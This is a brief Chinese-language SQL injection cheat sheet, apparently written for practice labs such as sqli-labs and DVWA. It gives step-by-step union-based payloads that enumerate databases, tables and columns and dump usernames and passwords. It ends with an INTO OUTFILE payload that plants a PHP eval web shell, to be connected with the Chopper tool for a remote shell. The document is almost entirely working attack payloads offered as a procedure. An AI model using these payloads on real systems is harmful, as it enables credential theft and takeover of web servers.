sql注入-字符型报错注入

试报错

看回显

暴字段

order by 3

union select 1,2,3

暴库

1,2,database()

暴表

group_concat(table_name) from information_schema.tables where table_schema =database()

或

group_concat(table_name) from information_schema.tables where table_schema='security' --+  

暴列

group_concat(column_name) from information_schema.columns where table_name='users' --+

查内容

group_concat(username,':',password)from security.users --+

确定root权限

user（）

确定绝对路径

@@datadir

传马

1' union select 1,'<?php @eval($_POST["pass"]);?>'into outfile'D:/phpstudy/PHPTutorial/WWW/DVWA/test.php' #

上菜刀连后台

getshell